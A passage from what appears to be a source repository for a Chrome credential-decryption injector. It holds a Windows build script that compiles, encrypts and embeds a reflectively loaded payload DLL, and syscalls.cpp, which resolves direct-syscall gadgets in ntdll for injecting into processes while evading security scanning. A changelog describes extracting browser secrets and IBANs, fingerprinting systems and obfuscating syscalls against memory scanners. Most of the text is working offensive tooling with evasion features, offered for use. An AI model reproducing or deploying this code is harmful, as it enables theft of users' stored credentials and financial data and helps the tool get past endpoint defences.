/EMITPOGOPHASEINFO" 19 | set "LFLAGS_STRIP=/PDBALTPATH:none /NOCOFFGRPINFO" 20 | 21 | :: ============================================================================= 22 | :: = COLORS = 23 | :: ============================================================================= 24 | for /f %%a in ('echo prompt $E ^| cmd') do set "ESC=%%a" 25 | set "C_RESET=%ESC%[0m" 26 | set "C_RED=%ESC%[91m" 27 | set "C_GREEN=%ESC%[92m" 28 | set "C_YELLOW=%ESC%[93m" 29 | set "C_CYAN=%ESC%[96m" 30 | set "C_GRAY=%ESC%[90m" 31 | 32 | :: ============================================================================= 33 | :: = ENTRY POINT = 34 | :: ============================================================================= 35 | 36 | :: Use a robust, linear GOTO-based flow control to avoid all parser quirks. 37 | if /i "%~1" == "build_encryptor_only" goto :main_build_encryptor 38 | if /i "%~1" == "build_target_only" goto :main_build_target 39 | 40 | :: Default action if no argument is provided 41 | goto :main_full_build 42 | 43 | 44 | :: ============================================================================= 45 | :: = MAIN LOGIC = 46 | :: ============================================================================= 47 | 48 | :main_full_build 49 | call :display_banner 50 | call :check_environment 51 | if %errorlevel% neq 0 goto :HandleExit 52 | call :pre_build_setup 53 | if %errorlevel% neq 0 goto :HandleExit 54 | call :compile_sqlite 55 | if %errorlevel% neq 0 goto :HandleExit 56 | call :compile_payload 57 | if %errorlevel% neq 0 goto :HandleExit 58 | call :compile_encryptor 59 | if %errorlevel% neq 0 goto :HandleExit 60 | call :encrypt_payload 61 | if %errorlevel% neq 0 goto :HandleExit 62 | call :compile_resource 63 | if %errorlevel% neq 0 goto :HandleExit 64 | call :compile_injector 65 | if %errorlevel% neq 0 goto :HandleExit 66 | call :post_build_summary 67 | goto :HandleExit 68 | 69 | :main_build_encryptor 70 | call :display_banner 71 | call :check_environment 72 | if %errorlevel% neq 0 goto :HandleExit 73 | call :pre_build_setup 74 | if %errorlevel% neq 0 goto :HandleExit 75 | call :compile_encryptor 76 | goto :HandleExit 77 | 78 | :main_build_target 79 | call :display_banner 80 | call :check_environment 81 | if %errorlevel% neq 0 goto :HandleExit 82 | call :pre_build_setup_no_clean_encryptor 83 | if %errorlevel% neq 0 goto :HandleExit 84 | call :compile_sqlite 85 | if %errorlevel% neq 0 goto :HandleExit 86 | call :compile_payload 87 | if %errorlevel% neq 0 goto :HandleExit 88 | call :encrypt_payload 89 | if %errorlevel% neq 0 goto :HandleExit 90 | call :compile_resource 91 | if %errorlevel% neq 0 goto :HandleExit 92 | call :compile_injector 93 | if %errorlevel% neq 0 goto :HandleExit 94 | call :post_build_summary 95 | goto :HandleExit 96 | 97 | 98 | :: ============================================================================= 99 | :: = EXIT HANDLING = 100 | :: ============================================================================= 101 | 102 | :HandleExit 103 | set "EXIT_CODE=%errorlevel%" 104 | if %EXIT_CODE% neq 0 ( 105 | call :log_error "Build failed. Cleaning up intermediate files." 106 | call :cleanup >nul 2>&1 107 | goto :EndScript 108 | ) 109 | 110 | :: Success path 111 | if /i "%~1" == "build_encryptor_only" ( 112 | rem If we only built the tool, exit silently. 113 | goto :EndScript 114 | ) 115 | 116 | :: For any other successful build, print the success message. 117 | call :log_info "Build successful. Final artifacts are ready." 118 | 119 | :EndScript 120 | endlocal 121 | exit /b %EXIT_CODE% 122 | 123 | 124 | :: ============================================================================= 125 | :: = BUILD SUBROUTINES = 126 | :: ============================================================================= 127 | 128 | :display_banner 129 | echo %C_CYAN%--------------------------------------------------%C_RESET% 130 | echo %C_CYAN%^| Chrome Injector Build Script ^|%C_RESET% 131 | echo %C_CYAN%--------------------------------------------------%C_RESET% 132 | echo. 133 | goto :eof 134 | 135 | :check_environment 136 | call :log_info "Verifying build environment..." 137 | if not defined DevEnvDir ( 138 | call :log_error "This script must be run from a Developer Command Prompt for VS." 139 | exit /b 1 140 | ) 141 | call :log_success "Developer environment detected." 142 | call :log_info "Target Architecture: %C_YELLOW%%VSCMD_ARG_TGT_ARCH%%C_RESET%" 143 | echo. 144 | goto :eof 145 | 146 | :pre_build_setup 147 | call :log_info "Performing pre-build setup..." 148 | call :cleanup 149 | call :log_info " - Creating fresh build directory: %BUILD_DIR%" 150 | mkdir "%BUILD_DIR%" 151 | if %errorlevel% neq 0 ( 152 | call :log_error "Failed to create build directory." 153 | exit /b 1 154 | ) 155 | call :log_success "Setup complete." 156 | echo. 157 | goto :eof 158 | 159 | :pre_build_setup_no_clean_encryptor 160 | call :log_info "Performing pre-build setup..." 161 | if not exist "%BUILD_DIR%" mkdir "%BUILD_DIR%" 162 | call :log_success "Setup complete." 163 | echo. 164 | goto :eof 165 | 166 | :compile_sqlite 167 | call :log_step "[1/6] Compiling SQLite3 Library" 168 | set "CMD_COMPILE=cl %CFLAGS_COMMON% /c %LIBS_DIR%\sqlite\sqlite3.c /Fo"%BUILD_DIR%\sqlite3.obj"" 169 | set "CMD_LINK=lib /NOLOGO /OUT:"%BUILD_DIR%\sqlite3.lib" "%BUILD_DIR%\sqlite3.obj"" 170 | call :run_command "%CMD_COMPILE%" " - Compiling C object file..." 171 | if %errorlevel% neq 0 exit /b 1 172 | call :run_command "%CMD_LINK%" " - Creating static library..." 173 | if %errorlevel% neq 0 exit /b 1 174 | call :log_success "SQLite3 library built successfully." 175 | echo. 176 | goto :eof 177 | 178 | :compile_payload 179 | call :log_step "[2/6] Compiling Payload DLL (%PAYLOAD_DLL_NAME%)" 180 | set "CMD_C=cl %CFLAGS_COMMON% /c %SRC_DIR%\reflective_loader.c /Fo"%BUILD_DIR%\reflective_loader.obj"" 181 | call :run_command "%CMD_C%" " - Compiling C file (reflective_loader.c)..." 182 | if %errorlevel% neq 0 exit /b 11 183 | 184 | set "CMD_CPP=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /I%LIBS_DIR%\sqlite /c %SRC_DIR%\chrome_decrypt.cpp /Fo"%BUILD_DIR%\chrome_decrypt.obj"" 185 | call :run_command "%CMD_CPP%" " - Compiling C++ file (chrome_decrypt.cpp)..." 186 | if %errorlevel% neq 0 exit /b 1 187 | 188 | set "CMD_LINK=link /NOLOGO /DLL /OUT:"%BUILD_DIR%\%PAYLOAD_DLL_NAME%" "%BUILD_DIR%\chrome_decrypt.obj" "%BUILD_DIR%\reflective_loader.obj" "%BUILD_DIR%\sqlite3.lib" bcrypt.lib ole32.lib oleaut32.lib shell32.lib version.lib comsuppw.lib /IMPLIB:"%BUILD_DIR%\chrome_decrypt.lib"" 189 | call :run_command "%CMD_LINK%" " - Linking objects into DLL..." 190 | if %errorlevel% neq 0 exit /b 1 191 | 192 | call :log_success "Payload DLL compiled successfully." 193 | echo. 194 | goto :eof 195 | 196 | :compile_encryptor 197 | call :log_step "[3/6] Compiling Encryption Utility (%ENCRYPTOR_EXE_NAME%)" 198 | set "CMD=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /I%LIBS_DIR%\chacha %SRC_DIR%\encryptor.cpp /Fo"%BUILD_DIR%\encryptor.obj" %LFLAGS_COMMON% /OUT:"%BUILD_DIR%\%ENCRYPTOR_EXE_NAME%"" 199 | call :run_command "%CMD%" " - Compiling and linking..." 200 | if %errorlevel% neq 0 exit /b 1 201 | call :log_success "Encryptor utility compiled successfully." 202 | echo. 203 | goto :eof 204 | 205 | :encrypt_payload 206 | call :log_step "[4/6] Encrypting Payload DLL" 207 | set "CMD=%BUILD_DIR%\%ENCRYPTOR_EXE_NAME% %BUILD_DIR%\%PAYLOAD_DLL_NAME% %BUILD_DIR%\chrome_decrypt.enc" 208 | call :run_command "%CMD%" " - Running encryption process..." 209 | if %errorlevel% neq 0 exit /b 1 210 | call :log_success "Payload encrypted to chrome_decrypt.enc." 211 | echo. 212 | goto :eof 213 | 214 | :compile_resource 215 | call :log_step "[5/6] Compiling Resource File" 216 | set "CMD=rc.exe /i "%BUILD_DIR%" /fo "%BUILD_DIR%\resource.res" %SRC_DIR%\resource.rc" 217 | call :run_command "%CMD%" " - Compiling .rc to .res..." 218 | if %errorlevel% neq 0 exit /b 1 219 | call :log_success "Resource file compiled successfully." 220 | echo. 221 | goto :eof 222 | 223 | :compile_injector 224 | call :log_step "[6/6] Compiling Final Injector (%FINAL_EXE_NAME%)" 225 | if "%VSCMD_ARG_TGT_ARCH%"=="x64" ( 226 | set "TRAMpoline_SRC=%SRC_DIR%\syscall_trampoline_x64.asm" 227 | set "TRAMPOLINE_OBJ=%BUILD_DIR%\syscall_trampoline_x64.obj" 228 | set "ASM_CMD=ml64.exe /c /Fo"!TRAMPOLINE_OBJ!" "!TRAMPOLINE_SRC!"" 229 | ) else if "%VSCMD_ARG_TGT_ARCH%"=="arm64" ( 230 | set "TRAMpoline_SRC=%SRC_DIR%\syscall_trampoline_arm64.asm" 231 | set "TRAMPOLINE_OBJ=%BUILD_DIR%\syscall_trampoline_arm64.obj" 232 | set "ASM_CMD=armasm64.exe -nologo "!TRAMPOLINE_SRC!" -o "!TRAMPOLINE_OBJ!"" 233 | ) else ( 234 | call :log_error "Unsupported target architecture: %VSCMD_ARG_TGT_ARCH%. Only x64 and arm64 are supported." 235 | exit /b 1 236 | ) 237 | call :run_command "!ASM_CMD!" " - Assembling syscall trampoline (%VSCMD_ARG_TGT_ARCH%)..." 238 | if %errorlevel% neq 0 exit /b 1 239 | set "CMD_COMPILE_INJECTOR_SRC=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /I%LIBS_DIR%\chacha /c %SRC_DIR%\chrome_inject.cpp /Fo"%BUILD_DIR%\chrome_inject.obj"" 240 | call :run_command "!CMD_COMPILE_INJECTOR_SRC!" " - Compiling C++ source (chrome_inject.cpp)..." 241 | if %errorlevel% neq 0 exit /b 1 242 | 243 | set "CMD_COMPILE_SYSCALLS_SRC=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /c %SRC_DIR%\syscalls.cpp /Fo"%BUILD_DIR%\syscalls.obj"" 244 | call :run_command "!CMD_COMPILE_SYSCALLS_SRC!" " - Compiling C++ source (syscalls.cpp)..." 245 | if %errorlevel% neq 0 exit /b 1 246 | 247 | set "CMD_COMPILE_OBFUSCATION_SRC=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /c %SRC_DIR%\syscalls_obfuscation.cpp /Fo"%BUILD_DIR%\syscalls_obfuscation.obj"" 248 | call :run_command "!CMD_COMPILE_OBFUSCATION_SRC!" " - Compiling C++ source (syscalls_obfuscation.cpp)..." 249 | if %errorlevel% neq 0 exit /b 1 250 | 251 | set "CMD_LINK_FINAL=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% "%BUILD_DIR%\chrome_inject.obj" "%BUILD_DIR%\syscalls.obj" "%BUILD_DIR%\syscalls_obfuscation.obj" !TRAMPOLINE_OBJ! "%BUILD_DIR%\resource.res" version.lib shell32.lib %LFLAGS_COMMON% %LFLAGS_STRIP% /OUT:".\%FINAL_EXE_NAME%"" 252 | call :run_command "!CMD_LINK_FINAL!" " - Linking final executable..." 253 | if %errorlevel% neq 0 exit /b 1 254 | call :log_success "Final injector built successfully." 255 | echo. 256 | goto :eof 257 | 258 | :post_build_summary 259 | echo %C_CYAN%--------------------------------------------------%C_RESET% 260 | echo %C_CYAN%^| BUILD SUCCESSFUL ^|%C_RESET% 261 | echo %C_CYAN%--------------------------------------------------%C_RESET% 262 | echo. 263 | echo %C_YELLOW%Final Executable:%C_RESET% .\%FINAL_EXE_NAME% 264 | echo. 265 | goto :eof 266 | 267 | 268 | :: ============================================================================= 269 | :: = HELPER SUBROUTINES = 270 | :: ============================================================================= 271 | 272 | :run_command 273 | set "command_to_run=%~1" 274 | set "message=%~2" 275 | call :log_info "%message%" 276 | if %VERBOSE%==1 ( 277 | echo %C_GRAY%!command_to_run!%C_RESET% 278 | !command_to_run! 279 | ) else ( 280 | !command_to_run! >nul 2>nul 281 | ) 282 | 283 | if %errorlevel% neq 0 ( 284 | call :log_error "Previous step failed. Halting build." 285 | exit /b 1 286 | ) 287 | goto :eof 288 | 289 | :cleanup 290 | if exist "%BUILD_DIR%\" rmdir /s /q "%BUILD_DIR%" 291 | if exist "%FINAL_EXE_NAME%" del "%FINAL_EXE_NAME%" > nul 2>&1 292 | goto :eof 293 | 294 | :log_step 295 | echo %C_YELLOW%-- %~1 %C_YELLOW%------------------------------------------------%C_RESET% 296 | goto :eof 297 | 298 | :log_info 299 | echo %C_GRAY%[INFO]%C_RESET% %~1 300 | goto :eof 301 | 302 | :log_success 303 | echo %C_GREEN%[ OK ]%C_RESET% %~1 304 | goto :eof 305 | 306 | :log_error 307 | echo %C_RED%[FAIL]%C_RESET% %~1 308 | goto :eof 309 | -------------------------------------------------------------------------------- /src/syscalls.cpp: -------------------------------------------------------------------------------- 1 | // syscalls.cpp 2 | // v0.16.1 (c) Alexander 'xaitax' Hagenah 3 | // Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | 5 | #include "syscalls.h" 6 | #include "syscalls_obfuscation.h" 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | SYSCALL_STUBS g_syscall_stubs{}; 18 | static bool g_obfuscation_enabled = false; 19 | 20 | struct ObfuscatedSyscallStorage 21 | { 22 | SyscallObfuscation::ObfuscatedSyscallEntry entries[19]; 23 | UINT argCounts[19]; 24 | }; 25 | 26 | static ObfuscatedSyscallStorage g_encrypted_storage{}; 27 | 28 | static bool g_verbose_syscalls = false; 29 | static void debug_print(const std::string &msg) 30 | { 31 | if (g_verbose_syscalls) 32 | { 33 | std::cout << "[#] " << msg << std::endl; 34 | } 35 | } 36 | 37 | extern "C" NTSTATUS SyscallTrampoline(...); 38 | 39 | namespace 40 | { 41 | struct SORTED_SYSCALL_MAPPING 42 | { 43 | PVOID pAddress; 44 | LPCSTR szName; 45 | }; 46 | 47 | bool CompareSyscallMappings(const SORTED_SYSCALL_MAPPING &a, const SORTED_SYSCALL_MAPPING &b) 48 | { 49 | return reinterpret_cast(a.pAddress) < reinterpret_cast(b.pAddress); 50 | } 51 | 52 | PVOID FindSyscallGadget_x64(PVOID pFunction) 53 | { 54 | for (DWORD i = 0; i <= 64; ++i) 55 | { 56 | auto current_addr = reinterpret_cast(pFunction) + i; 57 | 58 | if (*current_addr == 0xE9) // jmp rel32 59 | { 60 | i += 4; 61 | continue; 62 | } 63 | 64 | if (*reinterpret_cast(current_addr) == 0x050F && *(current_addr + 2) == 0xC3) 65 | { 66 | return current_addr; 67 | } 68 | } 69 | return nullptr; 70 | } 71 | 72 | PVOID FindSvcGadget_ARM64(PVOID pFunction) 73 | { 74 | for (DWORD i = 0; i <= 64; i += 4) 75 | { 76 | auto current_addr = reinterpret_cast(pFunction) + i; 77 | DWORD instruction = *reinterpret_cast(current_addr); 78 | 79 | if ((instruction & 0xFC000000) == 0x14000000) // B 80 | { 81 | continue; 82 | } 83 | 84 | if ((instruction & 0xFF000000) == 0xD4000000 && *reinterpret_cast(current_addr + 4) == 0xD65F03C0) 85 | { 86 | return current_addr; 87 | } 88 | } 89 | return nullptr; 90 | } 91 | } 92 | 93 | BOOL InitializeSyscalls(bool is_verbose, bool enable_obfuscation) 94 | { 95 | g_verbose_syscalls = is_verbose; 96 | g_obfuscation_enabled = enable_obfuscation; 97 | 98 | if (g_obfuscation_enabled) 99 | { 100 | if (!SyscallObfuscation::InitializeObfuscation(true)) 101 | { 102 | debug_print("WARNING: Obfuscation initialization failed, continuing without obfuscation"); 103 | g_obfuscation_enabled = false; 104 | } 105 | else 106 | { 107 | if (SyscallObfuscation::g_Obfuscator && !SyscallObfuscation::g_Obfuscator->ValidateEnvironment()) 108 | { 109 | debug_print("WARNING: Analysis environment detected! Obfuscation may be compromised"); 110 | } 111 | } 112 | } 113 | 114 | HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); 115 | if (!hNtdll) 116 | { 117 | debug_print("GetModuleHandleW for ntdll.dll failed."); 118 | return FALSE; 119 | } 120 | 121 | auto pDosHeader = reinterpret_cast(hNtdll); 122 | auto pNtHeaders = reinterpret_cast(reinterpret_cast(hNtdll) + pDosHeader->e_lfanew); 123 | PIMAGE_EXPORT_DIRECTORY pExportDir = reinterpret_cast(reinterpret_cast(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 124 | 125 | auto pNameRvas = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfNames); 126 | auto pAddressRvas = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfFunctions); 127 | auto pOrdinalRvas = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfNameOrdinals); 128 | 129 | std::vector sortedSyscalls; 130 | sortedSyscalls.reserve(pExportDir->NumberOfNames); 131 | 132 | for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) 133 | { 134 | LPCSTR szFuncName = reinterpret_cast(reinterpret_cast(hNtdll) + pNameRvas[i]); 135 | if (strncmp(szFuncName, "Zw", 2) == 0) 136 | { 137 | PVOID pFuncAddress = reinterpret_cast(reinterpret_cast(hNtdll) + pAddressRvas[pOrdinalRvas[i]]); 138 | sortedSyscalls.push_back({pFuncAddress, szFuncName}); 139 | } 140 | } 141 | 142 | std::sort(sortedSyscalls.begin(), sortedSyscalls.end(), CompareSyscallMappings); 143 | debug_print("Found and sorted " + std::to_string(sortedSyscalls.size()) + " Zw* functions."); 144 | 145 | struct CStringComparer 146 | { 147 | bool operator()(const char *a, const char *b) const { return std::strcmp(a, b) < 0; } 148 | }; 149 | const std::map, CStringComparer> required_syscalls = { 150 | {"ZwAllocateVirtualMemory", {&g_syscall_stubs.NtAllocateVirtualMemory, 6}}, 151 | {"ZwWriteVirtualMemory", {&g_syscall_stubs.NtWriteVirtualMemory, 5}}, 152 | {"ZwReadVirtualMemory", {&g_syscall_stubs.NtReadVirtualMemory, 5}}, 153 | {"ZwCreateThreadEx", {&g_syscall_stubs.NtCreateThreadEx, 11}}, 154 | {"ZwFreeVirtualMemory", {&g_syscall_stubs.NtFreeVirtualMemory, 4}}, 155 | {"ZwProtectVirtualMemory", {&g_syscall_stubs.NtProtectVirtualMemory, 5}}, 156 | {"ZwOpenProcess", {&g_syscall_stubs.NtOpenProcess, 4}}, 157 | {"ZwGetNextProcess", {&g_syscall_stubs.NtGetNextProcess, 5}}, 158 | {"ZwTerminateProcess", {&g_syscall_stubs.NtTerminateProcess, 2}}, 159 | {"ZwQueryInformationProcess", {&g_syscall_stubs.NtQueryInformationProcess, 5}}, 160 | {"ZwUnmapViewOfSection", {&g_syscall_stubs.NtUnmapViewOfSection, 2}}, 161 | {"ZwGetContextThread", {&g_syscall_stubs.NtGetContextThread, 2}}, 162 | {"ZwSetContextThread", {&g_syscall_stubs.NtSetContextThread, 2}}, 163 | {"ZwResumeThread", {&g_syscall_stubs.NtResumeThread, 2}}, 164 | {"ZwFlushInstructionCache", {&g_syscall_stubs.NtFlushInstructionCache, 3}}, 165 | {"ZwClose", {&g_syscall_stubs.NtClose, 1}}, 166 | {"ZwOpenKey", {&g_syscall_stubs.NtOpenKey, 3}}, 167 | {"ZwQueryValueKey", {&g_syscall_stubs.NtQueryValueKey, 6}}, 168 | {"ZwEnumerateKey", {&g_syscall_stubs.NtEnumerateKey, 6}}}; 169 | 170 | std::map syscall_indices = { 171 | {"ZwAllocateVirtualMemory", 0}, {"ZwWriteVirtualMemory", 1}, {"ZwReadVirtualMemory", 2}, {"ZwCreateThreadEx", 3}, {"ZwFreeVirtualMemory", 4}, {"ZwProtectVirtualMemory", 5}, {"ZwOpenProcess", 6}, {"ZwGetNextProcess", 7}, {"ZwTerminateProcess", 8}, {"ZwQueryInformationProcess", 9}, {"ZwUnmapViewOfSection", 10}, {"ZwGetContextThread", 11}, {"ZwSetContextThread", 12}, {"ZwResumeThread", 13}, {"ZwFlushInstructionCache", 14}, {"ZwClose", 15}, {"ZwOpenKey", 16}, {"ZwQueryValueKey", 17}, {"ZwEnumerateKey", 18}}; 172 | 173 | for (WORD i = 0; i < sortedSyscalls.size(); ++i) 174 | { 175 | const auto &mapping = sortedSyscalls[i]; 176 | auto it = required_syscalls.find(mapping.szName); 177 | if (it == required_syscalls.end()) 178 | { 179 | continue; 180 | } 181 | 182 | PVOID pGadget = nullptr; 183 | #if defined(_M_X64) 184 | pGadget = FindSyscallGadget_x64(mapping.pAddress); 185 | #elif defined(_M_ARM64) 186 | pGadget = FindSvcGadget_ARM64(mapping.pAddress); 187 | #endif 188 | 189 | if (pGadget) 190 | { 191 | if (g_obfuscation_enabled && SyscallObfuscation::g_Obfuscator) 192 | { 193 | auto idx_it = syscall_indices.find(mapping.szName); 194 | if (idx_it != syscall_indices.end()) 195 | { 196 | int idx = idx_it->second; 197 | g_encrypted_storage.entries[idx] = SyscallObfuscation::g_Obfuscator->EncryptEntry(pGadget, i); 198 | g_encrypted_storage.argCounts[idx] = it->second.second; 199 | } 200 | } 201 | 202 | it->second.first->pSyscallGadget = pGadget; 203 | it->second.first->nArgs = it->second.second; 204 | it->second.first->ssn = i; 205 | } 206 | } 207 | 208 | bool all_found = true; 209 | for (const auto &pair : required_syscalls) 210 | { 211 | if (!pair.second.first->pSyscallGadget) 212 | { 213 | all_found = false; 214 | break; 215 | } 216 | } 217 | 218 | if (all_found) 219 | { 220 | debug_print("Initialized " + std::to_string(required_syscalls.size()) + " syscall stubs" + 221 | (g_obfuscation_enabled ? " (with obfuscation)." : ".")); 222 | 223 | if (g_obfuscation_enabled && SyscallObfuscation::g_Obfuscator) 224 | { 225 | debug_print("Obfuscation layer active - syscalls encrypted in memory"); 226 | } 227 | 228 | for (const auto &pair : required_syscalls) 229 | { 230 | if (!pair.second.first->pSyscallGadget) 231 | { 232 | debug_print(" WARNING: " + std::string(pair.first + 2) + " gadget not found"); 233 | } 234 | } 235 | } 236 | else 237 | { 238 | debug_print("ERROR: One or more required syscall gadgets could not be found:"); 239 | for (const auto &pair : required_syscalls) 240 | { 241 | if (!pair.second.first->pSyscallGadget) 242 | { 243 | debug_print(" - " + std::string(pair.first + 2) + " FAILED"); 244 | } 245 | } 246 | } 247 | 248 | return all_found; 249 | } 250 | 251 | NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) 252 | { 253 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect); 254 | } 255 | 256 | NTSTATUS NtWriteVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten) 257 | { 258 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten); 259 | } 260 | 261 | NTSTATUS NtReadVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead) 262 | { 263 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead); 264 | } 265 | 266 | NTSTATUS NtCreateThreadEx_syscall(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateFlags, ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID AttributeList) 267 | { 268 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtCreateThreadEx, ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList); 269 | } 270 | 271 | NTSTATUS NtFreeVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType) 272 | { 273 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType); 274 | } 275 | 276 | NTSTATUS NtProtectVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect) 277 | { 278 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect); 279 | } 280 | 281 | NTSTATUS NtOpenProcess_syscall(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) 282 | { 283 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId); 284 | } 285 | 286 | NTSTATUS NtGetNextProcess_syscall(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle) 287 | { 288 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtGetNextProcess, ProcessHandle, DesiredAccess, HandleAttributes, Flags, NewProcessHandle); 289 | } 290 | 291 | NTSTATUS NtTerminateProcess_syscall(HANDLE ProcessHandle, NTSTATUS ExitStatus) 292 | { 293 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtTerminateProcess, ProcessHandle, ExitStatus); 294 | } 295 | 296 | NTSTATUS NtQueryInformationProcess_syscall(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength) 297 | { 298 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength); 299 | } 300 | 301 | NTSTATUS NtUnmapViewOfSection_syscall(HANDLE ProcessHandle, PVOID BaseAddress) 302 | { 303 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtUnmapViewOfSection, ProcessHandle, BaseAddress); 304 | } 305 | 306 | NTSTATUS NtGetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext) 307 | { 308 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtGetContextThread, ThreadHandle, pContext); 309 | } 310 | 311 | NTSTATUS NtSetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext) 312 | { 313 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtSetContextThread, ThreadHandle, pContext); 314 | } 315 | 316 | NTSTATUS NtResumeThread_syscall(HANDLE ThreadHandle, PULONG SuspendCount) 317 | { 318 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtResumeThread, ThreadHandle, SuspendCount); 319 | } 320 | 321 | NTSTATUS NtFlushInstructionCache_syscall(HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush) 322 | { 323 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtFlushInstructionCache, ProcessHandle, BaseAddress, NumberOfBytesToFlush); 324 | } 325 | 326 | NTSTATUS NtClose_syscall(HANDLE Handle) 327 | { 328 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtClose, Handle); 329 | } 330 | 331 | NTSTATUS NtOpenKey_syscall(PHANDLE KeyHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes) 332 | { 333 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtOpenKey, KeyHandle, DesiredAccess, ObjectAttributes); 334 | } 335 | 336 | NTSTATUS NtQueryValueKey_syscall(HANDLE KeyHandle, PUNICODE_STRING_SYSCALLS ValueName, KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, PVOID KeyValueInformation, ULONG Length, PULONG ResultLength) 337 | { 338 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtQueryValueKey, KeyHandle, ValueName, KeyValueInformationClass, KeyValueInformation, Length, ResultLength); 339 | } 340 | NTSTATUS NtEnumerateKey_syscall(HANDLE KeyHandle, ULONG Index, KEY_INFORMATION_CLASS KeyInformationClass, PVOID KeyInformation, ULONG Length, PULONG ResultLength) 341 | { 342 | return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtEnumerateKey, KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength); 343 | } 344 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Chrome App-Bound Encryption Decryption 2 | 3 | ## 🆕 Changelog 4 | 5 | ### v0.16.1 6 | - **New Feature: IBAN Extraction**: Added support for extracting International Bank Account Numbers (IBANs) (thanks [raphaelthief](https://github.com/raphaelthief)!) 7 | - Extracts encrypted IBAN values and associated nicknames. 8 | - Outputs to `iban.json` in the browser profile directory. 9 | 10 | ### v0.16.0 11 | - **Syscall Obfuscation**: Added runtime protection for the syscall engine. 12 | - Syscall Service Numbers (SSNs) and gadget pointers are XOR-encrypted in memory. 13 | - Encryption keys are derived from runtime system state, making each execution unique. 14 | - Protects all syscalls from memory scanning. 15 | - **IPC Hardening**: Replaced GUID-based pipe names with browser-specific patterns. 16 | - Names generated from process/thread IDs and tick count. 17 | - **Browser Fingerprinting**: Optional extraction of comprehensive browser metadata (use `--fingerprint` or `-f` flag). 18 | - Browser version, executable path, user data path, and profile count. 19 | - Update channel (stable/beta/dev/canary) and default search engine. 20 | - Security features: autofill status, password manager, safe browsing. 21 | - Extension details: count and IDs of all installed extensions. 22 | - System information: computer name, Windows username, extraction timestamp. 23 | - 